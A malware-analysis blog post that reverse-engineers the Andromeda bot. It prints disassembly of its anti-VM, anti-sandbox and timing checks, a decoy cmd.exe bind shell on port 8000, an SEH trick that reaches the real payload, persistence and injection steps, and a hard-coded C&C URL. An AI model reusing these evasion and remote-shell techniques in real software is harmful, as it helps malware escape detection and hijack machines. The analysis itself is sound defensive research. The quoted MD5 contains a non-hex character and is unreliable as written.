Fooled by Andromeda

0xebfe.net/blog/2013/03/30/fooled-by-andromeda

0xEBFE

There is a malware with name “Andromeda”, that recently started to spread again.

Let’s listen to the experts from Trend Micro:

> One unusual aspect worth mentioning here is how ANDROMEDA spreads via removable drives. Instead of simply dropping copies of itself, it drops component files instead, making detection and analysis more difficult. **The latest variant we spotted, which Trend Micro detects as BKDR_ANDROM.DA has the capability to open and listen to TCP Port 8000 and launch Command Shell (cmd.exe). Once a remote system is connected, it can already use all the command capability of the Command Shell rendering the system vulnerable to other malware.** It also uses the following native APIs to inject to the normal processes, a technique also seen in DUQU and KULUOZ:
>
> - ZwCreateSection
> - ZwMapViewOfSection
> - ZwResumeThread
> - ZwUnmapViewOfSection

Full blog entry

Hm, it is strange behavior for mass-spreading malware, isn’t it? Someone should explain what’s really going on - and this “someone” will be me :)

Andromeda has several anti-debugging or anti-reversing tricks:

- It checks the names of processes by comparing CRC32-hashes:

```
.text:00401C58                 call    dword ptr [ebp-kernel32_Process32First]
.text:00401C5B                 test    eax, eax
.text:00401C5D                 jz      loc_401D09
.text:00401C63
.text:00401C63 loc_401C63:                             ; CODE XREF: .text:00401D03↓j
.text:00401C63                 lea     eax, [ebp-144h]
.text:00401C69                 push    eax
.text:00401C6A                 call    str_to_lowercase
.text:00401C6F                 lea     eax, [ebp-144h]
.text:00401C75                 push    eax
.text:00401C76                 call    calc_crc32_hash
.text:00401C7B                 cmp     eax, 99DD4432h  ; vmwareuser.exe
.text:00401C80                 jz      final
.text:00401C86                 cmp     eax, 2D859DB4h
.text:00401C8B                 jz      final
.text:00401C91                 cmp     eax, 64340DCEh  ; vboxservice.exe
.text:00401C96                 jz      final
.text:00401C9C                 cmp     eax, 63C54474h  ; vboxtray.exe
.text:00401CA1                 jz      final
.text:00401CA7                 cmp     eax, 349C9C8Bh
.text:00401CAC                 jz      final
.text:00401CB2                 cmp     eax, 3446EBCEh
.text:00401CB7                 jz      final
.text:00401CBD                 cmp     eax, 5BA9B1FEh  ; procmon.exe
.text:00401CC2                 jz      final
.text:00401CC8                 cmp     eax, 3CE2BEF3h  ; regmon.exe
.text:00401CCD                 jz      final
.text:00401CD3                 cmp     eax, 3D46F02Bh  ; filemon.exe
.text:00401CD8                 jz      final
.text:00401CDE                 cmp     eax, 77AE10F7h  ; wireshark.exe
.text:00401CE3                 jz      final
.text:00401CE9                 cmp     eax, 0F344E95Dh ; netmon.exe
.text:00401CEE                 jz      final
.text:00401CF4                 lea     eax, [ebp-168h]
.text:00401CFA                 push    eax
.text:00401CFB                 push    dword ptr [ebp-40h]
.text:00401CFE                 call    dword ptr [ebp-kernel32_Process32Next]
.text:00401D01                 test    eax, eax
.text:00401D03                 jnz     loc_401C63
```

- It checks for Sandboxie dll:

```
.text:00401D0F                 call    loc_401D20
.text:00401D0F ; ---------------------------------------------------------------------------
.text:00401D14 aSbiedll_dll    db 'sbiedll.dll'
.text:00401D1F                 db 0FFh
.text:00401D20 ; ---------------------------------------------------------------------------
.text:00401D20
.text:00401D20 loc_401D20:                             ; CODE XREF: .text:loc_401D0F↑p
.text:00401D20                 pop     esi
.text:00401D21                 inc     byte ptr [esi+0Bh]
.text:00401D24                 push    esi             ; sbiedll.dll
.text:00401D25                 call    dword ptr [ebp-kernel32_GetModuleHandleA]
.text:00401D28                 dec     byte ptr [esi+0Bh]
.text:00401D2B                 test    eax, eax
.text:00401D2D                 jnz     final
```

- It checks “o”-value in registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum for “vmwa”, “vbox”, “qemu”-strings. Obviously, this is an anti-vm trick:

```
.text:00401E45 loc_401E45:                             ; CODE XREF: .text:00401E2Bîj
.text:00401E45                 push    dword ptr [ebp-16Ch]
.text:00401E4B                 call    dword ptr [ebp-advapi32_RegCloseKey]
.text:00401E4E                 cmp     dword ptr [ebp-170h], 'awmv'
.text:00401E58                 jz      short final
.text:00401E5A                 cmp     dword ptr [ebp-170h], 'xobv'
.text:00401E64                 jz      short final
.text:00401E66                 cmp     dword ptr [ebp-170h], 'umeq'
.text:00401E70                 jz      short final
```

- And finally it checks the elapsed time between “rdtsc”-instructions:

```
.text:00401E72 loc_401E72:
.text:00401E72
.text:00401E72                 rdtsc
.text:00401E74                 push    eax
.text:00401E75                 rdtsc
.text:00401E77                 pop     edx
.text:00401E78                 sub     eax, edx
.text:00401E7A                 cmp     eax, 200h
.text:00401E7F                 jnb     short final
```

Passing all these checks makes Andromeda avoid address **0x00401E8C**, where an ACCESS_VIOLATION exception would occur. If some anti-reversing checks pass, the payload is loaded at **0x402413**.

```
.text:00401E81                 push    0
.text:00401E83                 call    dword ptr [ebp-kernel32_GetModuleHandleA]
.text:00401E86                 add     eax, [eax+3Ch]
.text:00401E89                 lea     eax, [eax+18h]
.text:00401E8C
.text:00401E8C exception_happens_here:                 ; DATA XREF: seh_handler+14îo
.text:00401E8C                 or      word ptr [eax+46h], 80h
.text:00401E92                 mov     eax, [eax+1Ch]
.text:00401E95
.text:00401E95 final:                                  ; CODE XREF: .text:00401C80îj
.text:00401E95                                         ; .text:00401C8Bîj ...
.text:00401E95                 push    eax
.text:00401E96                 push    offset dword_402413
.text:00401E9B                 call    load_payload
```

This is what the Andromeda payload header structure looks like:

payload_header.cpp

```
#pragma pack(push, 1)
typedef struct _ANDROMEDA_PAYLOAD
{
    BYTE rc4Key[16];             // 0x000
    DWORD encryptedSize;         // 0x010
    DWORD unknown;               // 0x014 probably
CRC32
    DWORD unpackedSize;          // 0x018
    DWORD offsetEntryPoint;      // 0x01C
    DWORD offsetRelocAndImport;  // 0x020
    DWORD relocsAndImportSize;   // 0x024
    BYTE encryptedPayload[];     // 0x028
} ANDROMEDA_PAYLOAD;
#pragma pack(pop, 1)
```

This is the header of default-payload at **0x402413** address:

```
.text:00402413 byte_402413     db 7Dh, 4Ch, 1Ch, 75h, 57h, 2Bh, 49h, 79h, 0C9h, 52h, 7Ah
.text:00402413                                       ; DATA XREF: .text:00401E96↑o
.text:00402413                 db 11h, 0D0h, 20h, 0C9h, 8
.text:00402423                 dd 254h                 ; encryptedSize
.text:00402427                 dd 2838B029h            ; unknown, probably CRC32
.text:0040242B                 dd 2000h                ; unpackedSize
.text:0040242F                 dd 0A0h                 ; offsetEntryPoint
.text:00402433                 dd 452h                 ; offsetRelocAndImport
.text:00402437                 dd 0C0h                 ; relocsAndImportSize
.text:0040243B                 db  37h ; 7
.text:0040243C                 db  1Ch
.text:0040243D                 db  8Eh ; 0
```

Andromeda uses RC4 for decryption and aPLib-library for decompression. I made an IDAPython script that decrypts the payload and recovers the relocations and imports. My script is based on the great kabopan scripts by Ange Albertini.

You can find my script here: https://github.com/0xEBFE/Andromeda-payload

I decrypted the payload at **0x402413** and it does several operations:

- Copies itself to %ALLUSERSPROFILE%\svchost.exe
- Writes itself to “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” registry key as “SunJavaUpdateSched”.

And also (sorry for the big picture, but you have to see this):

```
seg003:10000188     push    offset unk_100002C4
seg003:1000018D     push    101h
seg003:10000192     call    j_seg003_ws2_32_WSAStartup
seg003:10000197     mov     [ebp+var_20], 2
seg003:1000019D     push    8000 ; <--- port number
seg003:100001A2     call    j_seg003_ws2_32_htons
seg003:100001A7     mov     [ebp+var_1E], ax
seg003:100001AB     mov     [ebp+var_1C], 0
seg003:100001B2     push    0
seg003:100001B4     push    0
seg003:100001B6     push    0
seg003:100001B8     push    IPPROTO_TCP
seg003:100001BA     push    SOCK_STREAM
seg003:100001BC     push    AF_INET
seg003:100001BE     call    j_seg003_ws2_32_WSASocketA
seg003:100001C3     mov     [ebp+var_10], eax
seg003:100001C6     cmp     eax, 0FFFFFFFFh
seg003:100001C9     jz      short loc_10000244
seg003:100001CB     push    10h
seg003:100001CD     lea     eax, [ebp+var_20]
seg003:100001D0     push    eax
seg003:100001D1     push    [ebp+var_10]
seg003:100001D4     call    j_seg003_ws2_32_bind
seg003:100001D9     cmp     eax, 0FFFFFFFFh
seg003:100001DC     jz      short loc_10000244
seg003:100001DE     push    5
seg003:100001E0     push    [ebp+var_10]
seg003:100001E3     call    j_seg003_ws2_32_listen
seg003:100001E8     cmp     eax, 0FFFFFFFFh
seg003:100001EB     jz      short loc_10000244
seg003:100001ED
seg003:100001ED loc_100001ED: ; CODE XREF: sub_100000A0+1A2↓j
seg003:100001ED     xor     eax, eax
seg003:100001EF     lea     edi, [ebp+startup_info]
seg003:100001F2     mov     ecx, 44h
seg003:100001F7     rep stosb
seg003:100001F9     push    0
seg003:100001FB     push    0
seg003:100001FD     push    [ebp+var_10]
seg003:10000200     call    j_seg003_ws2_32_accept
seg003:10000205     mov     [ebp+startup_info.cb], 44h
seg003:1000020C     mov     [ebp+startup_info.hStdInput], eax ; <-- socket handle
seg003:1000020F     mov     [ebp+startup_info.hStdOutput], eax ; <-- socket handle
seg003:10000212     mov     [ebp+startup_info.hStdError], eax ; <-- socket handle
seg003:10000215     mov     [ebp+startup_info.wShowWindow], SW_HIDE
seg003:1000021B     mov     [ebp+startup_info.dwFlags], STARTF_USESHOWWINDOW or ST
seg003:10000222     lea     eax, [ebp+process_info]
seg003:10000225     push    eax
seg003:10000226     lea     eax, [ebp+startup_info]
seg003:10000229     push    eax
seg003:1000022A     push    0
seg003:1000022C     push    0
seg003:1000022E     push    0
seg003:10000230     push    1
seg003:10000232     push    0
seg003:10000234     push    0
seg003:10000236     push    offset aCmd_exe ; <--- Command Shell (cmd.exe)
seg003:1000023B     push    0
seg003:1000023D     call    j_seg003_kernel32_CreateProcessA
seg003:10000242     jmp     short loc_100001ED
seg003:10000244 ; ---------------------------------------------------------------
seg003:10000244
seg003:10000244 loc_10000244: ; CODE XREF: sub_100000A0+28↑j sub_100000A0+46↑j ...
```

```
seg003:10000244     push    0
seg003:10000246     call    j_seg003_kernel32_ExitProcess
seg003:1000024B     leave
seg003:1000024C     retn    4
seg003:1000024C sub_100000A0 endp
```

In this screenshot you can see that Andromeda:

- Opens port 8000 — ✔ check :)
- Runs new instance of "cmd.exe" — ✔ check :)

It does not have any code to process commands from remote computer, but since standard handles (StdInput and StdOutput) are redirected to socket it's possible to execute commands remotely. Obviously it's a fake payload - someone got fooled :)

Let's check the SEH-handler of Andromeda:

```
:00401ABC seh_handler proc near                 ; DATA XREF: .text:00401B8A↓o
:00401ABC
:00401ABC ExceptionInfo= EXCEPTION_POINTERS ptr  8
:00401ABC
:00401ABC       push    ebp
:00401ABD       mov     ebp, esp
:00401ABF       push    ebx
:00401AC0       mov     eax, [ebp+ExceptionInfo.ExceptionRecord]
:00401AC3       mov     ebx, [eax+EXCEPTION_POINTERS.ContextRecord]
:00401AC6       mov     eax, [eax+EXCEPTION_POINTERS.ExceptionRecord]
:00401AC8       cmp     [eax+EXCEPTION_RECORD.ExceptionCode], EXCEPTION_ACCESS_VIOLATION
:00401ACE       jnz     short loc_401B04
:00401AD0       cmp     [eax+EXCEPTION_RECORD.ExceptionAddress], offset exception_happens_here
:00401AD7       jnz     short loc_401B04
:00401AD9       mov     edx, [ebx+CONTEXT._Esp]
:00401ADF       mov     dword ptr [edx], 40h
:00401AE5       mov     dword ptr [edx+4], offset unk_402058
:00401AEC       mov     dword ptr [edx+8], offset sub_401AA2
:00401AF3       mov     [ebx+CONTEXT._Eip], offset load_payload
:00401AFD       mov     eax, 0FFFFFFFFh
:00401B02       jmp     short loc_401B09
:00401B04 ; ---------------------------------------------------------------------------
```

As you can see Andromeda basically changes execution flow when an exception occurs at the specified address Andromeda passes the execution flow to the **"load_payload"**-function with address **0x00402058** as argument. In this real payload, the malware injects itself to "msiexec.exe" or "svchost.exe".

If you check more closely you can spot a third payload that runs in "msiexec.exe" or "svchost.exe":

```
seg005:30000023      db  64h ; d
seg005:30000024      dd offset aHttpWww_chudakov_netG   ; "http://www.chudakov.net/goto.ph
seg005:30000028      db    0
seg005:30000029      db    0
seg005:3000002A      db    0
seg005:3000002B      db    0
seg005:3000002C aHttpWww_chudakov_netG db 'http://www.chudakov.net/goto.php?num=146897',0
seg005:3000002C                                         ; DATA XREF: seg005:30000024↑o
seg005:30000058      align 10h
seg005:30000060 aWinfax_dll db 'winfax.dll',0           ; DATA XREF: seg005:3000214A↓o
```

This payload contains the C&C url. However this url is also a fake, thanks to @aaSSfxxx for pointing me out.

You might ask the question: “How do cyberterrorists test their cyberweapons if it’s not possible to run them in Virtual Machines?”. And the answer is:

```
.text:00401BC5                  xor     ecx, ecx
.text:00401BC7                  push    ecx
.text:00401BC8                  push    ecx
.text:00401BC9                  push    ecx
.text:00401BCA                  push    ecx
.text:00401BCB                  push    ecx
.text:00401BCC                  push    104h
.text:00401BD1                  lea     eax, [ebp-278h]
.text:00401BD7                  push    eax
.text:00401BD8                  lea     eax, [ebp-278h]
.text:00401BDE                  push    eax
.text:00401BDF                  call    dword ptr [ebp-kernel32_GetVolumeInformationA]
.text:00401BE2                  lea     eax, [ebp-278h]
.text:00401BE8                  push    eax             ; Volume name
.text:00401BE9                  call    calc_crc32_hash
.text:00401BEE                  cmp     eax, 20C7DD84h
.text:00401BF3                  jz      loc_401E81
```

Andromeda checks the CRC32 of the **%SYSTEMDRIVE%** volume name, and if equal to **0x20C7DD84** (for example “CKF81X”), the real payload is executed.

Thanks to this great forum for supplying the sample: http://www.kernelmode.info/
MD5-hash of analyzed sample: **2C1A7509B38985831OFFBC72EE64D501**